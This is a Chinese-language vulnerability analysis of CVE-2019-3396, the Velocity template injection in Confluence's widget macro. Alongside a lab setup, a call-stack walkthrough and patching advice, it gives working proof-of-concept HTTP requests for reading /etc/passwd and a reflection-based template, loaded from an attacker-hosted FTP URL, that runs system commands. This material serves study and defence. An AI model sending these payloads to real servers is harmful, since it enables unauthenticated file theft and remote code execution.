CVE-2019-3396 Confluence Velocity SSTI漏洞浅析
字数 1111 2025-08-20 18:17:31
CVE-2019-3396 Confluence Velocity SSTI漏洞深度分析与利用指南
漏洞概述
CVE-2019-3396是Atlassian Confluence Server和Data Center中widgetconnector组件存在的一个严重安全漏洞,允许攻击者在无需认证的情况下进行未授权访问,通过精心构造的JSON字符串触发Velocity模板注入,实现任意文件读取和远程代码执行。
影响版本
- 6.6.12之前的版本
- 6.7.0至6.12.3(不含6.12.3)
- 6.13.0至6.13.3(不含6.13.3)
- 6.14.0至6.14.3(不含6.14.3)
影响组件
- widgetconnector.jar ≤ 3.1.3
Apache Velocity基础
Velocity简介
Apache Velocity是一个基于Java的模板引擎,提供模板语言引用Java代码定义的对象,遵循MVC设计模式。
基本语法
语句标识符
#标识Velocity脚本语句$标识变量
变量声明
#set($a = "velocity")
#set($b = 1)
#set($array = ["1", "2"])
注释
- 单行注释:
## - 多行注释:
#* ... *#
逻辑运算
支持 ==, &&, ||, ! 等运算符
条件语句
#if($foo < 10)
<strong>1</strong>
#elseif($foo == 10)
<strong>2</strong>
#else
<strong>4</strong>
#end
单双引号区别
- 单引号不解析引用内容
- 双引号解析引用内容
属性访问
通过.操作符访问对象属性和方法
#set($e = "e")
$e.getClass()
Velocity模板注入(RCE)
恶意模板示例
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
执行流程
- 初始化Velocity引擎
- 创建上下文并添加变量
- 加载恶意模板
- 合并上下文渲染模板
- 通过反射执行命令
漏洞环境搭建
Docker环境配置
version: '2'
services:
web:
image: vulhub/confluence:6.10.2
ports:
- "8888:8090"
- "9999:9999"
depends_on:
- db
db:
image: postgres:10.7-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
开启远程调试
修改/opt/atlassian/confluence/bin/setenv.sh,添加:
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9999 ${CATALINA_OPTS}"
漏洞复现
文件读取POC
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json
{
"contentId": "786458",
"macro": {
"name": "widget",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"_template": "file:///etc/passwd"
}
}
}
远程命令执行
恶意模板(exp.vm)
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
执行命令请求
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json
{
"contentId": "786458",
"macro": {
"name": "widget",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"_template": "ftp://attacker-ip/exp.vm",
"cmd": "whoami"
}
}
}
漏洞分析
攻击链分析
WidgetMacro.execute()处理传入参数- 调用
DefaultRenderManager.getEmbeddedHtml() - 匹配渲染器(如
MetacafeRenderer) - 通过
DefaultVelocityRenderService.render()处理模板 VelocityUtils.getRenderedTemplate()加载远程模板- 模板解析执行恶意代码
关键调用栈
Runtime.exec()
→ Method.invoke()
→ UberspectImpl$VelMethodImpl.invoke()
→ ASTMethod.execute()
→ ASTReference.execute()
→ SimpleNode.render()
→ Template.merge()
→ VelocityUtils.renderTemplateWithoutSwallowingErrors()
→ DefaultVelocityRenderService.render()
→ MetacafeRenderer.getEmbeddedHtml()
→ DefaultRenderManager.getEmbeddedHtml()
→ WidgetMacro.execute()
防御建议
- 及时升级到安全版本
- 限制外部模板加载
- 实施严格的输入验证
- 禁用不必要的宏功能
- 使用Web应用防火墙规则过滤恶意请求
参考资源
- Atlassian官方安全公告
- Velocity官方文档
- 漏洞分析文章和技术博客
- 相关CVE详情和利用代码